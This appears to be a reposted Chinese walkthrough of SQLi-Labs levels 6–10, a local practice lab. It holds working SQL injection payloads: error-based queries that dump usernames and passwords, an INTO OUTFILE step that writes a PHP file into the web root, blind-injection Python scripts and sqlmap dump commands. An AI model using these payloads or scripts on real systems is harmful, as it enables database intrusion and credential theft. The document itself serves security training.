SQL-Labs靶场“6-10”关通关教程

news2024/11/24 8:56:42

君衍.

  • 一、第六关 基于GET的双引号报错注入
    • 1、源码分析
    • 2、floor报错注入
    • 3、updatexml报错注入
  • 二、第七关 基于文件写入注入
    • 1、源码分析
    • 2、outfile注入过程
  • 三、第八关 基于GET单引号布尔盲注
    • 1、源码分析
    • 2、布尔盲注(脚本)
    • 2、布尔盲注(手工)
    • 3、布尔盲注(sqlmap)
  • 四、第九关 基于GET单引号时间盲注
    • 1、源码分析
    • 2、时间盲注(手工)
    • 3、时间盲注(脚本)
    • 4、时间盲注(sqlmap)
  • 五、第十关 基于GET双引号时间盲注
    • 1、源码分析
    • 2、时间盲注(手工)
    • 3、时间盲注(脚本)
    • 4、时间盲注(sqlmap)

一、第六关 基于GET的双引号报错注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=“$id”

在这里插入图片描述
输入1"报错了,所以也就找到了注入点

1、源码分析

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
	···
  	echo 'You are in...........';
  	···
  	}
	else 
	{
	···
	print_r(mysqli_error($con1));
	···
	}

这里我们会发现只是闭合方式和第五关单引号闭合方式不一样,其余的都一样,第六关为双引号闭合方式,所以这里我们只需要在查询时将id参数中的单引号逃逸改为双引号即可。
在这里插入图片描述

2、floor报错注入

详细报错注入原理见SQL报错注入基础

  • 获取当前数据库
?id=1" or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

  • 获取该数据库中的表名
?id=1" or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们会发现users可疑,那么我们下一步就是查询users的列名。

  • 获取表中的列名
?id=1" or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1" or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 5,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们找到可疑的字段继续进行查询,即为username以及password:

  • 获取数据
?id=1" or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

?id=1" or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 1,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

剩下的不再进行举例,floor报错注入结束。

3、updatexml报错注入

  • 获取当前数据库名称
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

  • 获取数据库中的表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

  • 获取可疑表users表的列名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

  • 冲数据
?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

在这里插入图片描述

这里也就不赘述了,如果想要详细了解updatexml报错注入可以查看这篇文章:updatexml报错注入

二、第七关 基于文件写入注入

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id=((‘$id’))

在这里插入图片描述
在这里插入图片描述

1、源码分析

# 使用单引号以及双层括号进行拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	···
  	echo 'You are in.... Use outfile......';
  	···
  	}
	else 
	{
	···
	print_r(mysqli_error($con1));
	···
	}

在这里插入图片描述
这个注入点的判断主要是输入单引号会发生报错,正常提示Use outfile…同时使用’))进行闭合会正常输出。

2、outfile注入过程

首先这个注入环境是需要自己配置的
关键在于secure-file-priv的参数取值,主要分为三种情况:

  • 1、secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
  • 2、secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
  • 3、secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

所以这关的注入一般是不存在的,这个参数是不能在命令行界面进行修改的,只能在Mysql的配置文件中,其中存在一个secure-file-priv默认下是NULL:
在这里插入图片描述
所以这里我们是要进行修改Mysql的配置文件my.ini的,也就需要root权限,这个注入利用也就很难受。
在这里插入图片描述
找到mysql然后点击即可到配置文件中:
在这里插入图片描述
这里我们需要增加secure-file-priv参数,没有填具体值表示不做限制,一般人是不会犯这种错误的。
在这里插入图片描述
然后进行保存,重启mysql即可。
在这里插入图片描述
这样我们就把环境配置完毕了。
上传webshell
这里我们需要注意,在写路径的时候必须是存在的路径,也就是说你用这个注入的时候是需要知道物理机的存在的路径的,不然无法上传,这也是使用这个注入需要注意的第三点。

?id=-1')) union select 1,2,’<?php phpinfo(); ?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli7\\webshell.php"--+

在这里插入图片描述
这里虽然报错了,但是我们去查看路径下的文件依旧可以看到已经上传了的。
在这里插入图片描述
下面我们去访问这个木马让它执行即可:
在这里插入图片描述
这里写入时也需要主要,写入的内容需要进行hex转码,同时需要知道物理文件的路径以及权限问题,即有配置写入的权限。
mysql into outfile可以将查询语句导出到网站目录下,需要满足三个条件,第一用户权限必须是root,第二,secure priv参数必须为空,第三必须知道网站物理路径

三、第八关 基于GET单引号布尔盲注

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id=‘$id’

在这里插入图片描述
这关我们在判断注入点时,发现我们没有单引号输出的You are in···,但是如果加上单引号是消失的:
在这里插入图片描述
这里我们可以看到其实是存在注入点的,只是并没有回显出错误,那么我们这里是报错注入以及联合查询都是使用不了的。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
	···
  	echo 'You are in...........';
	···
  	}
	else 
	{
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysqli_error($con1));
	//echo "You have an error in your SQL syntax";
	···
	}
}

这里我们可以看到它将输出数据库报错的代码注释掉了,但是这里它同时注释掉了You are in···,所以我们可以使用布尔盲注来进行判断ascii值,看它与一个值的大小来判断我们需要查询的结果。
在这里插入图片描述

2、布尔盲注(脚本)

我们可能会用到以下函数:

ascii() 函数:返回字符ascii码值
length() 函数:返回字符串的长度
left() 函数:返回从左至右截取固定长度的字符串
substr()/substring() 函数:返回从pos位置开始到length长度的子字符串
if函数:判断条件并作出不同行动
str:字符串
length:截取长度
pos:开始位置
length:截取长度

比如这里我构造了一个如下的payload:

意思就是截取数据库的第一个字符转换为ascii和114进行对比,如果是真的,那么输出You are in···,是假则没有。

?id=1' and ascii(substr(database(),1,1))>114--+

这里判断结果显示:
在这里插入图片描述
继续测试:

?id=1' and ascii(substr(database(),1,1))>115--+

在这里插入图片描述
这里我们可以看到当比较115时候消失了,那我们可以断定数据库名的第一个字符的ascii码是115,即为s。当然这里我们是知道第一个字符是s才进行输入114进行测试的,靠人为去猜测数据库名是肯定不行的,那我们可以写脚本:

import requests


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url, params=params)
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-8/index.php'
    inject_database(url)

这里需要注意注入的url的填写正确:
在这里插入图片描述
下面我们直接执行:
在这里插入图片描述
即可注入出其数据库名。

2、布尔盲注(手工)

同时我们可以更新payload继续注入得出表名列名,举个例子:

这里我们首先判断表名的长度,找到users表

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))  = 6 
···
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))  = 5 --+  //字段长度为5即为users

然后我们继续爆出表名:

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))) = 117--+
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),2,1))) = 115--+
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),3,1))) = 101--+
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),4,1))) = 114--+
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),5,1))) = 115--+

这里即为users,然后我们进行爆列名等等,同时我们也可以采用工具进行注入。

3、布尔盲注(sqlmap)

我们直接配置payload进行注入:

sqlmap -u "http://127.0.0.1/sqli7/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch

在这里插入图片描述
**加粗样式**
这里我们可以看到直接就可以注入出表,非常方便。

这里补充下sqlmap注入时的参数解释:

  • --technique B: 这个参数指定了SQL注入的技术。在这里,B代表了Blind SQL Injection(盲注),这种类型的注入不会直接显示在页面上,而是需要通过观察应用程序的响应时间、错误消息等间接判断注入是否成功。
  • -D security: 这个参数指定了要攻击的数据库名称。在这里,security是数据库的名称。
  • -T users: 这个参数指定了要攻击的数据库表。在这里,users是要攻击的表名。
  • -C username,password: 这个参数指定了要提取的列名。在这里,username和password是要提取的列。
  • --dump: 这个参数指示SQLMap在注入成功后要执行的操作,即导出数据库表中的数据。
  • --threads 10: 这个参数指定了SQLMap运行时的线程数。在这里,设置为10个线程来加速注入的过程。
  • --batch: 这个参数指定了SQLMap在运行时使用批处理模式,即不要求用户进行交互确认。

四、第九关 基于GET单引号时间盲注

请求方式注入类型拼接方式
GET延时盲注id=‘$id’

这里我们首先说明下时间盲注与布尔盲注的最直观区别,就在于布尔盲注可以通过页面来判断对错,时间盲注则无法通过页面判断对错,只能通过执行的时间来区别对错。
下面我们看第九关,我们尝试去加上单引号看是否报错:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到无论我们输入是对是错都不会影响界面的变化,只能通过时间来区别对错。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
	···
  	echo 'You are in...........';
	···
  	}
	else 
	{
	···
	echo 'You are in...........';
	//print_r(mysqli_error($con1));
	//echo "You have an error in your SQL syntax";
	···
	}

这里我们可以很明显的看到时间盲注不管对错页面都是You are in······,同时布尔盲注与时间盲注都注释掉了输出报错信息。
在这里插入图片描述

2、时间盲注(手工)

首先我们可以进行手工测试:
比如我现在构造一个payload:

?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+

这里我们去猜测数据库名ascii值是否大于100,使用if函数进行判断,如果大于100,那么我们就让它沉睡三秒,如果小于100,那么不沉睡。
在这里插入图片描述
那么我们将数值改为120,再试试:

?id=1' and if(ascii(substr(database(),1,1))>120,sleep(3),0)--+

在这里插入图片描述
我们可以直观的看到是没有进行沉睡的,所以数据库名并没有大于120,依照这个方法,我们依旧可以确定好数据库名以及表名甚至列名等等。

3、时间盲注(脚本)

如果使用手工进行时间盲注的话肯定是相当耗时耗力的,所以我们这里也可以选择使用python脚本进行注入,脚本如下:

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(),%d,1))>%d, sleep(1), 0)-- " % (i, mid)
            params = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=params)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-9/index.php'
    inject_database(url)

同样的,这里需要注意URL的正确,然后我们执行即可:
在这里插入图片描述
同样的,剩下的我们进行更换payload即可完成脚本注入。

4、时间盲注(sqlmap)

这里我们也可以选择使用工具进行注入,同样的这里选择sqlmap,直接加上参数进行时间盲注:

sqlmap -u "http://127.0.0.1/sqli7/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

这里参数和第八关参数类似,唯一不同的便是SQL注入的类型,这里-T参数是选择了时间延迟注入即为时间盲注。使用SQLMap工具执行一个基于时间延迟的盲注攻击,针对名为security的数据库中的users表,提取username和password列的数据,并将结果导出。注入过程中使用了10个线程,并且在运行时不需要用户进行交互确认。

在这里插入图片描述
在这里插入图片描述
这样我们可以直接完成时间盲注。

五、第十关 基于GET双引号时间盲注

请求方式注入类型拼接方式
GET延时盲注id=“$id”

同样的,下面我们看第九关,我们尝试去加上单引号看是否报错:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到无论我们输入是对是错都不会影响界面的变化,只能通过时间来区别对错。所以和第九关其实是一样的,都是时间盲注。

1、源码分析

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  	···
  	echo 'You are in...........';
  	···
  	}
	else 
	{
	···
	echo 'You are in...........';
	//print_r(mysqli_error($con1));
	//echo "You have an error in your SQL syntax";
	}

这里我们可以很明显的看到时间盲注不管对错页面都是You are in······,同时布尔盲注与时间盲注都注释掉了输出报错信息。
在这里插入图片描述
所以这里和第九关一样的,只是将闭合方式进行了更换,采用了双引号进行闭合。

2、时间盲注(手工)

首先我们可以进行手工测试:
比如我现在构造一个payload:

?id=1” and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+

这里我们去猜测数据库名ascii值是否大于100,使用if函数进行判断,如果大于100,那么我们就让它沉睡三秒,如果小于100,那么不沉睡。
在这里插入图片描述
那么我们将数值改为120,再试试:

?id=1" and if(ascii(substr(database(),1,1))>120,sleep(3),0)--+

在这里插入图片描述
我们可以直观的看到是没有进行沉睡的,所以数据库名并没有大于120,依照这个方法,我们依旧可以确定好数据库名以及表名甚至列名等等。

3、时间盲注(脚本)

如果使用手工进行时间盲注的话肯定是相当耗时耗力的,所以我们这里也可以选择使用python脚本进行注入,脚本如下:

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1\" and if(ascii(substr(database(),%d,1))>%d, sleep(1), 0)-- " % (i, mid)
            params = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=params)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-10/index.php'
    inject_database(url)

同样的,这里需要注意URL的正确,然后我们执行即可:
在这里插入图片描述
同样的,剩下的我们进行更换payload即可完成脚本注入。

4、时间盲注(sqlmap)

这里我们也可以选择使用工具进行注入,同样的这里选择sqlmap,直接加上参数进行时间盲注:

sqlmap -u "http://127.0.0.1/sqli7/Less-10/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

这里参数和第九关参数一样的。

在这里插入图片描述
这样我们可以直接完成时间盲注。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1451971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多线程 --- 线程互斥

目录 1. 线程互斥 1.1. 相关背景概念 1.2. 互斥锁 1.2.1. 初始化互斥量 1.2.2. 销毁互斥量 1.2.3. 互斥量加锁 && 解锁 1.3. 互斥量 (锁) 的原理 1.3.2. 相关问题和解释 1.3.2. 锁的实现原理 1.3.3. 可重入 && 线程安全问题 1.3.4. 常见的线程不安全…

循序渐进-讲解Markdown进阶(Mermaid绘图)-附使用案例

Markdown 进阶操作 查看更多学习笔记&#xff1a;GitHub&#xff1a;LoveEmiliaForever Mermaid官网 由于CSDN对某些Mermaid或Markdown语法不支持&#xff0c;因此我的某些效果展示使用图片进行 下面的笔记内容全部是我根据Mermaid官方文档学习的&#xff0c;因为是初学者所以…

OpenAI Sora是世界模型?

初见Sora&#xff0c;我被OpenAI的野心震撼了。 他们不仅想教会AI理解视频&#xff0c;还要让它模拟整个物理世界&#xff01;这简直是通用人工智能的一大飞跃。 但当我深入了解后&#xff0c;我发现Sora比我想象的更复杂、更强大。 Sora不是简单的创意工具&#xff0c;而是…

十五、Object 类

文章目录 Object 类6.1 public Object()6.2 toString方法6.3 hashCode和equals(Object)6.4 getClass方法6.5 clone方法6.6 finalize方法 Object 类 本文为书籍《Java编程的逻辑》1和《剑指Java&#xff1a;核心原理与应用实践》2阅读笔记 java.lang.Object类是类层次结构的根…

Html的<figure><figcaption>标签

Html的<figure><figcaption>标签 示例一: <figure><figcaption>figcaption001, fig标题1 </figcaption><figcaption>figcaption002, fig标题2 </figcaption><div style"width:calc(100px*2); height:calc(100px*2); back…

用HTML、CSS和JS打造绚丽的雪花飘落效果

目录 一、程序代码 二、代码原理 三、运行效果 一、程序代码 <!DOCTYPE html> <html><head><meta http-equiv"Content-Type" content"text/html; charsetGBK"><style>* {margin: 0;padding: 0;}#box {width: 100vw;heig…

微服务学习Day3

文章目录 初始DockerDocker介绍Docker与虚拟机镜像和容器 Docker的基本操作镜像操作容器命令数据卷挂载数据卷 Dockerfile自定义镜像Docker-Compose介绍Docker-Compose部署微服务镜像仓库 初始Docker Docker介绍 Docker与虚拟机 镜像和容器 Docker的基本操作 镜像操作 容器命…

Pandas Series Mastery: 从基础到高级应用的完整指南【第83篇—Series Mastery】

Pandas Series Mastery: 从基础到高级应用的完整指南 Pandas是Python中一流的数据处理库&#xff0c;它为数据科学家和分析师提供了强大的工具&#xff0c;简化了数据清理、分析和可视化的流程。在Pandas中&#xff0c;Series对象是最基本的数据结构之一&#xff0c;它为我们处…

MATLAB知识点:datasample函数(★★☆☆☆)随机抽样的函数,能对矩阵数据进行随机抽样

讲解视频&#xff1a;可以在bilibili搜索《MATLAB教程新手入门篇——数学建模清风主讲》。​ MATLAB教程新手入门篇&#xff08;数学建模清风主讲&#xff0c;适合零基础同学观看&#xff09;_哔哩哔哩_bilibili 节选自第3章&#xff1a;课后习题讲解中拓展的函数 在讲解第三…

Ubuntu Desktop 显示文件路径

Ubuntu Desktop 显示文件路径 1. GUI hot key2. CLIReferences 1. GUI hot key Ctrl L: 显示文件路径 2. CLI right click -> Open in Terminal -> pwd strongforeverstrong:~/Desktop$ pwd /home/strong/DesktopReferences [1] Yongqiang Cheng, https://yongqiang…

Leetcode1686. 石子游戏 VI

Every day a Leetcode 题目来源&#xff1a;1686. 石子游戏 VI 解法1&#xff1a;贪心 排序 贪心的思想&#xff1a; 这道题模拟一个石子游戏&#xff0c;求解最后的比赛结果。 题目说两位玩家都会采用 最优策略 进行游戏&#xff0c;那么关键点就在于什么是最优策略&…

docker (五)-docker存储-数据持久化

将数据存储在容器中&#xff0c;一旦容器被删除&#xff0c;数据也会被删除。同时也会使容器变得越来越大&#xff0c;不方便恢复和迁移。 将数据存储到容器之外&#xff0c;这样删除容器也不会丢失数据。一旦容器故障&#xff0c;我们可以重新创建一个容器&#xff0c;将数据挂…

Swift Combine 合并多个管道以更新 UI 元素 从入门到精通十七

Combine 系列 Swift Combine 从入门到精通一Swift Combine 发布者订阅者操作者 从入门到精通二Swift Combine 管道 从入门到精通三Swift Combine 发布者publisher的生命周期 从入门到精通四Swift Combine 操作符operations和Subjects发布者的生命周期 从入门到精通五Swift Com…

Qt:Qt3个窗口类的区别、VS与QT项目转换

一、Qt3个窗口类的区别 QMainWindow&#xff1a;包含菜单栏、工具栏、状态栏 QWidget&#xff1a;普通的一个窗口&#xff0c;什么也不包括 QDialog&#xff1a;对话框&#xff0c;常用来做登录窗口、弹出窗口&#xff08;例如设置页面&#xff09; QDialog实现简易登录界面…

【c++】list 模拟

> 作者简介&#xff1a;დ旧言~&#xff0c;目前大二&#xff0c;现在学习Java&#xff0c;c&#xff0c;c&#xff0c;Python等 > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;能手撕list模拟 > 毒鸡汤&#xff1a;不为模糊…

html从零开始8:css3新特性、动画、媒体查询、雪碧图、字体图标【搬代码】

css3新特性 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-width, …

vue导出word文档(图文示例)

第076个 查看专栏目录: VUE 本文章目录 示例说明示例效果图导出的文件效果截图示例源代码参数说明&#xff1a;重要提示&#xff1a;API 参考网址 示例说明 在Vue中导出Word文档&#xff0c;可以使用第三方库file-saver和html-docx-js。首先需要安装这两个库&#xff1a; npm …

Java微服务学习Day2

文章目录 Nacos配置管理统一配置管理配置热更新![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/c8a2d17baeef411980b44b432eb9692a.png)配置共享搭建Nacos集群 Feign远程调用介绍自定义配置性能优化最佳实践 Gateway服务网关介绍搭建网关服务路由断言工厂路由过滤器…

Python hash函数

在Python编程中&#xff0c;hash()函数是一个重要的内置函数&#xff0c;用于计算对象的哈希值。哈希值是一种由固定长度的字符串表示的数据摘要&#xff0c;通常用于在散列表中快速查找、比较对象或数据完整性验证等场景。本文将深入探讨Python中的hash()函数&#xff0c;包括…

【Linux网络编程五】Tcp套接字编程(四个版本服务器编写)

【Linux网络编程五】Tcp套接字编程(四个版本服务器编写&#xff09; [Tcp套接字编程]一.服务器端进程&#xff1a;1.创建套接字2.绑定网络信息3.设置监听状态4.获取新连接5.根据新连接进行通信 二.客户端进程&#xff1a;1.创建套接字2.连接服务器套接字3.连接成功后进行通信 三…